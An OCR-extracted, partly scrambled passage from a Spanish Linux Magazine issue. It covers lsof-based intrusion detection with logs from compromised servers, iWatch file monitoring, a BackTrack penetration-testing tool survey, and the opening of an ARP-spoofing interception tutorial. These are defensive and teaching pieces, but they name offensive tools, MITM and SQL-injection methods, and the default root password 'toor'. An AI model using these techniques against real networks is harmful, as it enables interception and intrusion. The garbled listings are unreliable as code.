/home/user/public_html/w-agor

a/.m/LinkEvents

 

05 bash

30334

www-data

2u

IPv4

4709341

TCP

server.com:40001->undernet

xs4all.nl:ircd

ESTABLISHED)

comprometidos, siendo todo lo que hace falta para diagnosticar un ataque. Los resultados obtenidos tras analizar los procesos pertene- cen a la cuenta www-data. Véase el Listado 3 para otro ejemplo. En el primer ejemplo, el atacante explota una versión obsoleta de W-Agora (un foro en

línea) y un directorio sin protección de escri-

tura

/home/user/public_html/w-agora/). El atacante ha creado un directorio nuevo .m para utilizarlo como directorio de trabajo (Línea 2, Columna FD: Current Working Directory). Además, ha subido ficheros C al directorio y luego ha compilado y ejecutado los ficheros utilizando una cuenta denomi- nada bash. Sin embargo, como se puede ver en la Línea 5, los programas no son inofensivos; este bash tiene una conexión abierta a un ser- vidor IRC. Además, bash ha escrito datos en el fichero LinkEvents, cuyo descriptor es 0w (es decir, bash ha abierto stdout para escribir).

(Listado 2a, Línea 2:

Caradura pero Tonto

Nuestro cybercriminal es realmente un cara- dura, pero los métodos de ataque revelan

pocas habilidades técnicas, especialmente considerando el hecho de que no se ha molestado en cubrir sus huellas. Son trucos de principiante el esconder un directorio con el carácter punto al comienzo y la utilización la cuenta bash como cuenta para los proce- sos. En el segundo ejemplo (Listado 2b), el ata- cante ha encontrado un agujero de seguridad similar y ha instalado varias aplicaciones. De nuevo, no se ha preocupado en cubrirse; la cuenta www-data tiene diversos puertos abiertos, incluyendo el proxy Psybnc IRC. El único nombre de proceso psybnc (Líneas 5 a 8) es realmente un regalo, pero al menos hay un intento por ocultar el proceso detrás de un nombre familiar, como el nombre del servidor bind en la Línea 9. De hecho, este es un servidor SSH parche- ado que autoriza los accesos al sistema a www-data sin requerir una contraseña. Tam- bién hay un proceso del servidor con el sos- pechoso nombre de a (véanse Líneas 2 a 4).

Automatización

Podría necesitarse un script que comparase el estado de un sistema conocido con el estado

Herramientas GUI

Herramientas GUI

A los forofos de las GUI les puede resultar difícil encontrar una interfaz gráfica para lsof. La herramienta glsof [3] basada en libg- nome es bastante reciente, y sus desarrolla- dores están aún extremadamente ocupa- dos, aunque no han pasado todavía a la fase alfa. Los ciclos de desarrollo son relati- vamente cortos, así que puede que desee descargarse la última versión del reposito- rio Subversion. De hecho, ha sido la única forma que hemos tenido en nuestro labora- torio de hacerlo funcionar. La página web de glsof contiene los típicos howto y sus desa- rrolladores contestarán los correos electró- nicos de los usuarios que se queden atasca- dos.

Glsof proporciona a los usuarios la posibili- dad de establecer filtros simplemente haciendo clic con el ratón (Figura 1), y de almacenar la configuración de modo que se pueda ejecutar posteriormente. Los filtros soportan conjuntos de reglas bastante com- plejas, que se pueden ver y analizar en la ventana de consulta de depuración. Ade- más, glsof acorta de forma considerable la curva de aprendizaje de los nuevos usuarios de lsof. La posibilidad de establecer monito- res de ficheros en glsof, para observar libre- mente los recursos definidos y notificar a los administradores en caso de acceso, es también una opción útil. Todo lo que glsof

hace es invocar a lsof, que lista los accesos desde el momento que es invocado. Esta solución no está basada en eventos y glsof puede fácilmente saltarse por alto los acce- sos.

La interfaz basada en Java, bastante anti- gua, JLsof [4], que no ha sufrido ninguna actualización desde 2003, es menos funcio- nal que glsof; pero también tiene menos dependencia. Para instalar JLsof hay que descargarse el paquete y descomprimirlo. Puede que haya que modificar la ruta al intérprete de Java y a lsof en el script de arranque jlsof. JLsof cuenta con un aspecto mucho más espartano que glsof, pero muestra cómo los filtros configurados se transforman en los parámetros de la línea de comandos de lsof (Figura 2), algo bas- tante interesante si se está intentando com- prender las reglas de filtros. Aunque en rea- lidad no pueden almacenarse los filtros, JLsof es capaz de exportar la salida (Figura 3) a un documento XML.

Si se está utilizando un Mac, no hay necesi- dad de pasar sin la GUI de lsof. Sloth [5], que está escrito en Objective C, posee una inter- faz bien organizada (Figura 4) que ofrece categorías de filtros predefinidas por tipos de recursos y la posibilidad de terminar pro- cesos haciendo clic con el ratón (kill).

WWW.LINUX - MAGAZINE.ES

Isof • PORTADA

ratón ( kill ). WWW.LINUX - MAGAZINE.ES Isof • PORTADA Figura 4: Sloth proporciona una interfaz

Figura 4: Sloth proporciona una interfaz nativa para lsoft en Mac OS X.

actual y responder de una forma predefinida en caso de desviaciones, es decir, ante una anomalía detectada en el sistema. Con lsof se puede monitorizar una lista de puertos abier- tos, de nombres de procesos añadidos, nom- bres de usuarios e interfaces. El comando mostrado en la Línea 1 del Lis- tado 3 gestiona la primera parte de esta tarea de una forma elegante. Le indica a lsof que muestre los ficheros asociados a la red (-i) sin escribir los números de puertos como nom- bres de servicios (-P) y sin resolver las direc- ciones IP a los nombres de equipos (-n). Awk

 

Listado 2b: Inyectando un Proxy IRC

COMMAND

01 USER

PID

FD

TYPE

DEVICE

SIZE

NODE

NAME

 

02 a

10555

www-data

266u

IPv4

2808

TCP

*:

https

(LISTEN)

03 a

10555

www-data

267u

IPv4

2809

TCP

*:www

(LISTEN)

04 a

10555

www-data

543u

IPv4

757852768

TCP

*:9713

(LISTEN)

05 psybnc

10615

www-data

266u

IPv4

2808

TCP

*:

https

(LISTEN)

06 psybnc

10615

www-data

267u

IPv4

2809

TCP

*:www

(LISTEN)

07 psybnc

10615

www-data

543u

IPv4

757871322

TCP

*:

ircd

(LISTEN)

08 psybnc

10615

www-data

549u

IPv4

762054917

TCP

server.com:35614->oslo1.

no.eu.undernet.org:ircd

(ESTABLISHED)

bind

09 22004

www-data

543u

IPv4

696149859

TCP

*:1982

(LISTEN)

Número 29

21

PORTADA • Isof

comprueba la salida en busca de puertos a la escucha (estado LISTEN) y le da formato a la salida como: nombre_usuario/nombre_pro- ceso/IP:puerto, donde una dirección IP * representa a un servidor que escucha todos los interfaces. El sort final ordena la salida por orden alfa- bético, y la -u se asegura de que cada combi- nación de usuario, proceso y servicio apa- rezca sólo una única vez. La salida mostrada en la Línea 2 del Lis- tado 3 fue tomada de un servidor Debian Sarge con Apache 1.3, MySQL y un servidor SSH. En nuestro ejemplo, MySQL sólo estaba ligado al interfaz local (Línea 6), mientras que Apache y SSH eran accesibles a través de cualquier interfaz. El grupo de los procesos de Apache en root y www-data, que resultaron de eliminar los privilegios del root tras ejecutar el programa,

Listado 3: Puertos TCP

 

abiertos

 

01

$

lsof

-i

TCP

-n

-P

|

awk

‘/LISTEN/

{print

 

$1”/”$3”/”$8}’

|

sort

-u

02 apache/root/*:443

 

03 apache/root/*:80

 

04 apache/www-data/*:443

 

05 apache/www-data/*:80

 

06 mysqld/mysql/127.0.0.1:3306

07 sshd/root/*:22

 

es característico de los servidores web.

  es característico de los servidores web. Figura 5: El script mostrado en el Listado 4

Figura 5: El script mostrado en el Listado 4 alerta a los administradores cuando se produzca algún cam- bio en la asignación de puertos. Para ello, compara el estado original con el estado actual cada 10 segundos.

que es bastante fácil de evitar modificando la lógica que subyace en la consulta. Añadiendo | grep -v servicio temporal en la Línea 5 debe- ría ser suficiente.

Conclusiones

No se puede esperar que un simple script de la shell pueda sustituir a un IDS completo, pero si se está buscando una herramienta de detección sencilla o una línea de defensa extra, lsof podría ser parte de la solución. Algunas mejoras posibles serían un sistema criptográfico para la gestión de la configuración del estilo de Aide, comproba- ciones de los ficheros ejecutables, evaluación de la configuración UDP, etc. Las llamadas repetidas a lsof pueden también abrir nuevos campos de aplicación, como se evidencia en el monitor de ficheros Glsof. Ya sea utilizando lsof en un script o bien usándolo como una herramienta rápida de administración univer- sal, lsof es una herramienta fácil, aunque limitada, para la detección de intrusos.

RECURSOS

[1] Sitio web de lsof en Freshmeat: http:// freshmeat.net/projects/lsof/

[2] FAQ de lsof: ftp://lsof.itap.purdue.edu/ pub/tools/unix/lsof/FAQ

[3] Glsof: http://glsof.sourceforge.net

[4] JLsof: http://www.geocities.co.jp/

SiliconValley/1596/jlsof/readme.html

[5] Sloth: http://www.sveinbjorn.org/sloth/

[6] Hardened PHP: http://www. hardened-php.net

IDS, Mónteselo Usted Mismo

El IDS en miniatura basado en lsof del Listado 3 funciona, como puede com- probarse, en la Figura 5. Cuando se ejecuta, el script recuerda (Listado 4, Líneas 4 a 8) la configuración de puer- tos actual. Cada 10 segundos se llama a lsof para capturar la lista de los puer- tos abiertos y compararlos con el último estado conocido (Línea 12). Si aparece algún cambio, el script envía un correo con el estado anterior y pos- terior (Líneas 14 a 20) y utiliza el nuevo estado para comparaciones futuras (Línea 22). Para probar este sistema de detec- ción de anomalías, podría abrirse tem-

poralmente un puerto. Netcat ofrece una forma sencilla para hacerlo. Con el comando nc -l -p 12345 se ejecuta Netcat en modo LISTEN (-l) y mantiene abierto el puerto 12345. En un lapso de 10 segundos, el script en su bucle infinito debería darse cuenta del cambio en el estado del sistema y responder consecuentemente. Hay que tener en cuenta que algunos pro- cesos cambian la visión de lsof de los puertos asignados. Por ejemplo, algunos servidores de correo lanzan procesos nuevos depen- diendo del estado de la conexión entrante. Bajo ciertas circunstancias, los procesos como estos pueden producir falsos positivos, aun-

 

Listado 4: Monitorización de Puertos

 

#!/bin/bash

 

13

echo

“¡Asignación

de

puertos

02

MAILTO=”root”

 

modificada!

Notificando

al

03

HOSTNAME=`hostname`

 

administrador

por

correo”

04

getports()

{

14

mail

-s

“Atención:

$HOSTNAME

05

lsof

-i

-n

-P

|

awk

 

LISTEN

estado

modificado”

 

‘/LISTEN/{print

$1”/”$3”/”$8}’

 

$MAILTO

<<EOF

 

|

sort

-u

15

Estado

antes

de

la

06

}

modificación:

07

16

$OLD

08

OLD=”$(getports)”

 

17

09

echo

-e

“Comienza

con

la

18

Estado

tras

la

modificación:

siguiente

asignación

de

19

$NEW

puertos:\n$OLD”

 

10

while

sleep

10

;

do

20

EOF

11

NEW=”$(getports)”

21

fi

12

if

test

“$OLD”

 

!=

“$NEW”

;

22

OLD=”$NEW”

 

then

 

23

done

22 Número 29

WWW.LINUX - MAGAZINE.ES

iWatch • PORTADA

Monitorizar directorios con iWatch

OJO AVIZOR

¿Por qué esperar a un cron? iWatch monitoriza los archivos y directorios indispensables en tiempo real. Cuando aparece un cambio, este manejable script Perl lo notifica al usuario o ejecuta un comando configura- ble. POR OLIVER FROMMEL.

WWW.LINUX - MAGAZINE.ES

S i un intruso anda vagabundeando por nuestro sistema, es muy importante percatarse del ataque

cuanto antes. En el entorno Linux existen un buen número de herramientas que com- prueban los directorios individuales y archi- vos enviando avisos de cambios. Pueden lanzarse una de esas herramientas como una tarea de cron, o bien escribir un script que funcione en bucle y realice las compro- baciones de forma periódica. En ambos casos, sin embargo, nos veremos forzados a ejecutar la aplicación con frecuencia (con un alto coste en recursos del sistema) o bien a establecer largos intervalos entre chequeos, lo que podría abrir poten- cialmente una ventana para un intruso. El kernel de Linux 2.6.13 intro- dujo una solución a este dilema. El interfaz del kernel Inotify ofrece un medio para monitorizar archivos y directorios en tiempo real. El usuario sólo tiene que decirle en qué archivos está interesado, y el kernel le notificará en el momento cualquier cambio que ocurra. Dado que el interfaz de Inotify está imple- mentado como un API, podemos construir nuestras propias herramientas para traer y presentar la información de acceso a un archivo. Aunque, si no deseamos escribir nuestro propio programa desde cero, siempre podemos emplear iWatch [1], un script en Perl creado por Cahya Wirawan. iWatch monitoriza los directorios de importancia crí- tica a través del interfaz de Inotify, que se encarga de avisar al usuario por email o lanza un comando configurable siempre que apa- rece un cambio. El package de iWatch es fácil de instalar; todo lo que necesitas son los módulos Linux::Inotify2, Event, Mail::Sendimail y XML::Simple Perl. Podemos contruir el paquete Inotify desde el código fuente o, como alternativa,

Número 29

23

PORTADA • iWatch

lanzar el interfaz CPAN: perl -MCPAN -e

shell,

Linux::Inotify2.

introducir luego install

e

Eventos de Inotify

iWatch soporta dos modos operativos. En el primero, cualquier información al pro- grama se envía a través de la línea de comandos. En el segundo, iWatch analiza un archivo de configuración XML. En el más simple de los casos, podemos añadir la ruta al archivo o directorio que queremos monitorizar en la línea de comandos, como en el ejemplo siguiente, donde prueba es el directorio a monitori- zar:

iwatch

/prueba

Si luego introducimos touch testfile en otra ventana, iWatch mostrará los cambios (Figura 1). Podemos ver los tres tipos de eventos de Inotify que pueden ocurrir cre- ando un nuevo archivo aquí. Por defecto, iWatch monitorizará los eventos close_write, create, delete, move, delete_self y move_self (escritura, crea- ción, borrado, movido, autoborrado y automovido). La página de documenta- ción del proyecto iWatch ofrece la lista completa de eventos. Necesitamos listar los eventos como parámetros para el flag -e en la línea de comandos. Añadiendo la opción -r, para que sea recursivo, iWatch monitorizará el directorio especificado y todos sus subdi- rectorios. La opción para especificar una dirección de correo es -m. El parámetro -c introduce

Listado 1: ejemplo.xml

Listado 1: ejemplo.xml 01 <config> 02 <guard email=”iwatch@localhost”/> 03 <watchlist> 04

01 <config>

02 <guard

email=”iwatch@localhost”/>

03 <watchlist>

04 <title>Configuration

files</title>

05 <contactpoint

email=”oliver@localhost”/>

06 <path

type=”recursive”>/etc</path>

07 <path

type=”exception”>/etc/httpd/r

un</path>

08 </watchlist>

09 </config>

24 Número 29

09 </config> 2 4 N ú m e r o 2 9 Figura 1: En un

Figura 1: En un escenario simple, iWatch registrará los cambios de los archivos monitorizados en la consola.

un comando alternativo para ejecutar, y -s le dice al programa que emplee syslog para llevar un registro de eventos.

Configuración XML

Como alternativa al método de línea de comandos, iWatch puede también anali- zar un archivo XML para la configuración. Este método es la elección más adecuada para tareas de monitorización más com- plejas. Los tags disponibles en XML no están especificados formalmente en un esquema DTD, XML o similar; sin embargo, el formato es bastante intuitivo. La Tabla 1 muestra los tags junto a sus atributos. Si no especificamos una fuente distinta para el XML, iWatch asume por defecto /etc/iwatch.xml. Podemos cam- biarla empleando el conmutador -f. Toda la configuración está rodeada por tags de config. El tag guard también reside en este nivel global; su atributo email especifica la notificación por correo electrónico. Las listas de vigilan- cia individuales, que pueden contener múltiples rutas, aparecen entre los tags de config. Puedes asignar una dirección de correo distinta para cada lista; esto es útil para delegar responsabilidades según los dis- tintos servidores o áreas del disco duro. Los atributos de path son particular- mente interesantes. Por ejemplo, single le dice a iWatch que monitorice sólo el con- tenido del directorio, mientras que recur- sive le indica que realice también el pro- ceso en los subdirectorios alojados en la ruta señalada (igual que el conmutador -r en el modo de línea de comandos). El atri- buto exception permite excluir directorios de la vigilancia. El Listado 1 muestra un ejemplo sencillo de una configuración XML. Inotify posee un par de restricciones que no tienen nada que ver con iWatch. Por ejemplo, el kernel configura un valor máximo para el número de objetos a monitorizar. El archivo proc para esto es

WWW.LINUX - MAGAZINE.ES

/proc/sys/fs/notify/max_user_watches; este valor es, por defecto, 8192. El control de acceso está basado en los permisos habituales de archivo; sin embargo, iWatch no analizará nada si no se tienen los permisos necesarios. Por tanto, un usuario normal podría introducir el comando ./iwatch/root/ sin que el pro- grama diga una palabra. Lo que ocurre en realidad es que ignora la orden, porque la aplicación no tiene autorización para monitorizar ese directorio. El conmutador -t es bastante nuevo, y por eso sólo está documentado en el chan- gelog; tiene los mismos efectos que el tag filter de la configuración XML. El argu- mento puede ser un patrón de búsqueda, lo que permite conectar una referencia de ruta con un modelo de nombre de archivo.

Pequeño pero Matón

iWatch es una herramienta muy práctica, que hace accesible el interfaz Inotify al usuario. En lugar de usar el kernel API para monitorizar filas, sólo necesitaremos un archivo XML muy intuitivo para confi- gurar cambios granulares de monitoriza- ción para áreas específicas del sistema de archivos. Dado que el script iWatch Perl es fácil de leer, resulta sencillo de perso- nalizar, por ejemplo para añadir una com- probación de permisos.

 

Tabla 1: tags de iWatch

Nombre

Atributo

config

guard

email, name

watchlist

title

contactpoint

email, name

path

alert, events, exec, syslog, type, filter

RECURSOS

RECURSOS [1] iWatch: http://iwatch.sourceforge.net

[1] iWatch: http://iwatch.sourceforge.net

BackTrack • PORTADA

Búsqueda de agujeros de seguridad con BackTrack

BÚSQUEDA EN VIVO

La distribución live BackTrack nos permite actuar como un intruso para probar la seguridad de nuestra red. POR RALF SPENNEBERG

E l testeo de penetración es el arte

de romper nuestra propia red. Los

consultores de seguridad y admi-

nistradores de sistemas usan las pruebas de penetración para descubrir agujeros antes de que un intruso pueda encontrar- los. Desafortunadamente, éstos usan una enorme colección de potentes herramien- tas para esnifar, hacer snooping, cracking y esconderse en la red objetivo. Si queremos simular un ataque siem- pre podríamos descargar esta enorme colección de aplicaciones e instalarlas temporalmente en un sistema que prepa- remos para elllo. Sin embargo, la bús- queda de las herramientas adecuadas y la instalación de éstas en nuestro sistema nos pueden llevar horas o incluso días de nuestro preciado tiempo.

Existen numerosas distribuciones de Linux diseñadas para soportar las prue- bas de penetración. Dos de las más famosas distribuciones en este sentido (Auditor y Whax) se fusionaron a comienzos de este año para crear la dis- tribución BackTrack. BackTrack [1] se basa en el live CD de Slackware, Slax [2]. Además de las numerosas herramien- tas de intrusión, BackTrack incluye tam- bién una enorme selección de aplicacio- nes para la investigación y la ocultación de señales de una entrada clandestina. Podemos obtenerla desde la página Web del proyecto [1]. O, si tenemos una copia del último número de la revista Linux Magazine, encontraremos Back- Track dentro del DVD de las mejores dis-

WWW.LINUX - MAGAZINE.ES

tros live. En este artículo vamos a mos- trar cómo iniciarse con BackTrack, y daremos también un repaso a las nume-

con BackTrack, y daremos también un repaso a las nume- Figura 1: El escritorio KDE permite

Figura 1: El escritorio KDE permite a los administradores una sencilla navegación por la enorme colección de programas de Back- Track.

Número 29

25

PORTADA • BackTrack

PORTADA • BackTrack Figura 2: NMapFE soporta un sencillo escaneo. La herramienta se basa en el

Figura 2: NMapFE soporta un sencillo escaneo. La herramienta se basa en el famoso programa NMap.

muchos menús y subme- nús de una distribución de juegos, salvo que, en lugar de un montón de juegos, la

interfaz gráfica está repleta de sniffers, spoofers, scan- ners y otras utilidades que nos asisten en las pruebas de seguridad. Las herramientas están organizadas por grupos:

Enumeración

Archivos de exploit

Escáner

Ataques de contraseña

Fuzzer

rosas herramientas que se incluyen en su CD.

Comenzamos

BackTrack se presenta como un Live CD, por lo que para ejecutarlo sólo necesita- mos insertarlo en la unidad de CD y arrancar el sistema. En la pantalla inicial nos registramos como root e introduci- mos su contraseña toor antes de conti- nuar con la configuración de la interfaz gráfica con xconf. Una vez hayamos completado la configuración, simplemente tecleamos startx para arrancar la interfaz gráfica. En caso de ocurrir un error, podemos teclear dhcpcd para pedirle al servidor DHCP una dirección IP. BackTrack no lo hace de manera automática. El sistema de menús de BackTrack basado en KDE proporciona acceso a docenas de herramientas de seguridad y otras aplicaciones de análisis forense (véase la Figura 1). Navegar a través del menú de Back- Track es parecido a navegar por los

• Spoofing

• Sniffers

• Herramientas Wireless

• Bluetooth

• Herramientas Cisco

• Herramientas de BB.DD.

• Herramientas forenses

Las herramientas de seguridad de Back- Track proporcionan al administrador de sistemas todo lo necesario para cazar sus propios agujeros de seguridad. En las siguientes secciones describimos sólo una muestra de algunas de las herra- mientas disponibles en el CD de Back- Track.

Enumeración

El análisis de seguridad comienza nor- malmente con un inventario de los orde-

nadores, sistemas operativos, y servicios de red. El menú Enumeration proporciona algunos famosos escáners de puertos, como NMap y NMapFE, además de las herramientas de análisis SNMP y herra- mientas para el acceso a servidores LDAP y compartidores Win- dows SMB. Los submenús contienen escáners para protocolos especiales. Por ejemplo, Nikto escanea y analiza servidores Web, mientras que IKE Scan y IKEProbe ayudan a los administra- dores a analizar las redes privadas virtuales (VPN). Tras establecer los siste- mas operativos y servi- cios en la red, podemos

los siste- mas operativos y servi- cios en la red, podemos Figura 3: El administrador puede

Figura 3: El administrador puede realizar pruebas de la fortaleza de las contraseñas con John. toor se craqueó en la primera ronda de pruebas.

continuar y buscar exploits en los tres archi- vos de exploit más

26 Número 29

WWW.LINUX - MAGAZINE.ES

2 6 N ú m e r o 2 9 WWW.LINUX - MAGAZINE.ES Figura 4: Dsniff

Figura 4: Dsniff identifica las contraseñas de

usuario que se transmiten por protocolos de

texto plano.

importantes: Milw0rm [3], Metasploit [4] y Securityfocus [5]. Si tenemos que craquear servicios pro- tegidos con contraseña o averiguar lo robustas que son nuestras contraseñas, BackTrack nos ofrece toda una variedad de herramientas para los ataques por contraseña. Además del clásico cracker john, que no tendrá ningún problema en encontrar la contraseña de root (véase la Figura 3), encontraremos un buen número de otras herramientas para el cracking fuera de línea de contraseñas cifradas o la averi- guación de contraseñas en línea.

Sniffing

Los sniffers ayudan a los administrado- res de red a escanear sus propias redes y probar protocolos seguros. BackTrack tiene un buen número de útiles asisten- tes, incluyendo los clásicos Ethereal, Etherape, Driftnet y DSniff (véase la Figura 4), además de muchos otros snif- fers. Incluso es posible craquear conexiones SSH con BackTrack. sshow y sshmitm atacan las conexiones SSH que usan la versión 1 del protocolo SSH (véase la Figura 5).

usan la versión 1 del protocolo SSH (véase la Figura 5). Figura 5: sshow explota vulnerabilidades

Figura 5: sshow explota vulnerabilidades del pro- tocolo SSH y calcula la longitud del nombre de usuario, la contraseña y los comandos teclados en esa sesión.

Figur a 6: htt tprint es cap az de rev elar el so ftware del

Figura 6: htttprint es capaz de revelar el software del servidor Web de un servidor de aplica- ciones.

Los administradores pueden ejecutar sshmitm para lanzar un ataque Man-in- the-Middle sobre una conexión SSH. Para usar sniffers en redes conmutadas o para ejecutar sshmitm para un ataque Man-in-the-Middle, los administradores necesitan también herramientas de spoo- fing. arpspoof o macof soportan sniffing en redes conmutadas. Mientras que macof genera mucho trá- fico de red visible, arpspoof es una herra- mienta verdaderamente difícil de detec- tar. arpspoof ataca a la caché ARP del sis- tema objetivo, engañando al sistema para que entregue paquetes al sniffer a través del switch. Esto se consigue mediante el envenenamiento de la caché ARP en las máquinas víctima. (Para más informa- ción acerca del spoofing ARP, véanse los recursos [6] y [7]).

Wireless

BackTrack también incluye numerosas y útiles herramientas para el testeo de redes WLAN y Bluetooth. Además de Kismet, la colección de herramientas contiene Aircrack, Airsnort, WEPAttack y WEP_crack. Por supuesto, la máquina del sistema de administración necesitará una interfaz WLAN para ejecutar estas herramientas. BackTrack soporta escenarios comunes de ataques Bluetooth. Además de las herramientas para los veteranos exploits de redes Bluetooth, para encontrar teléfonos móviles vulne- rables, por ejemplo, la distribución tiene también herramientas de auditoría para

ayudar en la identificación de dispositi- vos Bluetooth en las inmediaciones.

Servidores Web y Bases de Datos

Debido a que los ataques de hoy en día tienden de manera creciente a apuntar a aplicaciones Web y sus bases de datos subyacentes, la distribución BackTrack tiene también un buen número de pro- gramas que pueden ayudar a los adminis- tradores con el análisis de aplicaciones Web y sus sistemas de bases de datos. Por ejemplo, curl soporta el acceso basado en scripts a servidores Web. DMitry y HTTPrint nos proporcionarán información útil acerca de los servidores Web y dominios (véase de la Figura 6). Si el servidor Web no está configurado de manera adecuada, httpput soportará las subidas de archivos. list-urls extrae todas las URLs de una página Web, y isr-form.pl analiza los formularios HTML. Por último, pero no menos importante, Nikto analiza un servidor Web para des- cubrir vulnerabilidades conocidas. El proxy de penetración Paros nos da la posibilidad de modificar peticiones HTTP antes de enviarlas al servidor Web. De esta manera los campos ocultos de los formularios HTML y las cookies pueden manipularse para llevar a cabo pruebas de la debilidad de Javascript para los for- mularios de entrada. BackTrack tiene también scripts auto- máticos de inyección SQL y crackers de contraseñas mediante fuerza bruta para análisis de bases de datos. Herramientas como Absinthe (véase la Figura 7) sumi-

WWW.LINUX- MAGAZINE.ES

bruta para análisis de bases de datos. Herramientas como Absinthe (véase la Figura 7) sumi- WWW.LINUX-

PORTADA • BackTrack

nistran mecanismos automáticos para simplificar el proceso de análisis.

Cisco: Un Caso Especial

Los desarrolladores de BackTrack ofrecen también herramientas para analizar dispo- sitivos de redes de Cisco. En primer lugar, existen dos herramientas que explotan vulnerabilidades conocidas de dispositi- vos Cisco: Cisco Global Exploiter y Yersi- nia. Yersinia es particularmente interesante debido a que ataca protocolos propietarios de Cisco de capa 2 para posibilitar ataques por VLAN hopping. Los administradores de sistemas pue- den usar la herramienta Yersinia para reprogramar el puerto usado por la cone- xión actual con el objetivo de hacer la conexión parte de una VLAN diferente. Sin embargo, como las VLANs se usan a menudo para separar redes por razones de seguridad, esto puede ser muy peligroso. En muchos entornos (casi todos), las personas a cargo no prestan suficiente atención a sus switches. Por tanto, los exploits de Yersinia funcionan con una fre- cuencia mucho mayor de la que podría esperarse. El escáner de vulnerabilidades de Cisco, Cisco Torch, ayuda a los administradores de sistemas a cerrar los huecos. BackTrack es útil también para análisis forense de sistemas si hay sospechas de que puedan estar comprometidos. El equipo forense incluye las probadas herra- mientas Sleuthkit y Autopsy, en sus ver- siones 2.03 y 2.06, respectivamente. La herramienta Foremost [8] ayuda a los analistas a identificar y restaurar

Foremost [8] ayuda a los analistas a identificar y restaurar Figura 7: Absinthe hace que el

Figura 7: Absinthe hace que el SQL injection sea un juego de niños.

28 Número 29

archivos borrados basándose exclusi- vamente en su contenido. Esto se conoce entre los especialistas foren- ses como “file carving”.

Miscelánea

Además de las herramientas de pene- tración, scanning y forenses, Back- Track tiene numerosas e interesantes aplicaciones de tunneling. SSLTunnel cifra conexiones TCP de manera arbitraria, NSTX o Ozy- manDNS configuran túneles a través del protocolo DNS haciendo uso de servidores de nombres obligatorios funcionando como proxies. Encontraremos también una herra- mienta especial Hijetter para impreso- ras Jetdirect. La herramienta Hijetter per- mite al usuario acceder a las variables, a la visualización y también al sistema de archivos. La documentación es otra cosa impor- tante a tener en cuenta en cualquier test de penetración. La distribución Backtrack incluye el revolucionario editor Leo [9]. El editor Leo tiene un modo fuera de línea muy inteligente, que posee la capa- cidad de lanzar scripts directamente den- tro de un documento. Soporta también el acceso inteligente al explorador de archi- vos integrado. Debido a que Leo está escrito en Python, los administradores de sistemas pueden usar el explorador para escribir sus propios scripts en Python o usarlo incluso para escribir sencillos plugins.

Por Siempre Jamás

Si disfrutamos la experiencia de trabajar con Backtrack, puede que queramos tener la posibilidad de guardar nuestra información o actualizar las aplicaciones. Si es el caso, podemos instalar BackTrack en el disco duro o en un pendrive USB. Para ello, sólo tenemos que seleccionar BackTrack Installer en el menú System (véase la Figura 8). Tras seleccionar el medio, tendremos también que decidir si instalar una ver- sión live (700 MB) u optar por un sistema Linux genuino (2.7 GB). Deberemos optar por esta segunda solución si quere- mos actualizar realmente las aplicaciones y guardar nuestra información.

Conclusiones

La distribución Backtrack es algo que no debería faltar entre las herramientas de

WWW.LINUX - MAGAZINE.ES

faltar entre las herramientas de WWW.LINUX - MAGAZINE.ES Figura 8: Podemos ejecutar el instalador para t

Figura 8: Podemos ejecutar el instalador para tener BackTrack en nuestro disco.

ningún administrador de sistemas, ya que proporciona todo lo necesario para probar el nivel de seguridad de una red. Los desarrolladores de BackTrack tra- bajan en estos momentos en la versión 2.0, que incluye actualizaciones de la mayoría de las herramientas incluidas, además de otros cambios, como la inclu-

sión de aufs con compresión zlib en lugar de UnionFS, soporte para dual core, y nuevas herramientas como defcon, blac- khat y packetstorm. Las nuevas funciona- lidades comprenden arranque por red y soporte para el cracking de clusters. Puede hallarse una versión beta de Back- Track 2.0 en la página Web de BackTrack

[1].

RECURSOS

[1] BackTrack: http://www. remote-exploit.org

[2] Slax: http://www.slax.org

[3] Milw0rm: http://www.milw0rm.com

[4] Metasploit: http://www.metasploit. org

[5] Securityfocus: http://www. securityfocus.com

[6] ARP spoofing: http://de.wikipedia. org/wiki/ARP-Spoofing

[7] “Trucos de Tráfico: ARP Spoofing and Poisoning,” por Thomas Demuth y Achim Leitner, Linux Mag- azine edición en Castellano, Número 09 http://www.linux-magazine.es/

issue/09/ARPSpoofing.pdf

[8] Foremost: http://foremost. sourceforge.net

[9] Leo: http://webpages.charter.net/ edreamleo/

Ataques ARP • PORTADA

Manipulación de ARP para la intercepción de tráfico

AL ATAQUE

Hay quien piensa que el hecho de que dos (o más) máquinas estén conectadas a un switch es suficiente para que el tráfico que fluye entre ellas no pueda ser espiado por un tercero (intruso) que se encuentre conectado en la misma vlan. SERGIO ABUÍN

E n este artículo estudiaremos, paso a

paso, un ataque para que el intruso

pueda interceptar este tráfico.

Una vez interceptado podemos darle varias aplicaciones. Por ejemplo, alguien que esté conectado a la misma vlan que nosotros (pro- bablemente todos los compañeros de nuestro departamento) podría llevar a cabo este ata- que sin levantar casi sospecha alguna y, sin que nos demos cuenta, espiar todo nuestro correo, conversaciones del messenger, conse- guir usuario y password de los sitios http autenticados a los que accedamos, telnets que hagamos para administrar los equipos remo- tos (incluso inyectar comandos en estas sesio- nes), envenenar nuestras peticiones de dns y un larguísimo etcétera. Incluso, esmerándose un poco, podría conseguir espiar nuestro trá- fico encriptado de ssh. Pero, para implementar todos estos ata- ques, primero hay que interceptar el tráfico.

Funcionamiento de ARP y su Relación con IP.

Para poder llevar a cabo su labor, cada capa de red utiliza direcciones que identifican a emisor y receptor. En tcp/ip, si el nivel 2 (datalink layer) es ethernet, las direcciones son direccio-

nes MAC, que son números de 48 bits. En el nivel 3, en tcp/ip, se utiliza ip, que tiene direc- ciones de 32 bits. Cuando una máquina (origen) quiere enviar un paquete a otra máquina (destino) examina su tabla de routing. Si la dirección ip de destino está en un segmento conectado directamente a la máquina origen (no es nece- sario pasar por un router), entonces, la máquina origen sabe que puede entregar el paquete “localmente”. Por el contrario, si la máquina de destino no está conectada a un segmento local (directamente conectado), la máquina origen debe entregar el paquete a un router, el cual será capaz de hacer llegar el paquete a su destino. En ambos casos la máquina origen debe conocer la dirección MAC de destino, aunque no tiene porqué saberla a priori (en el caso de entrega local es otra máquina del mismo seg- mento, y en el caso de entrega no local será la

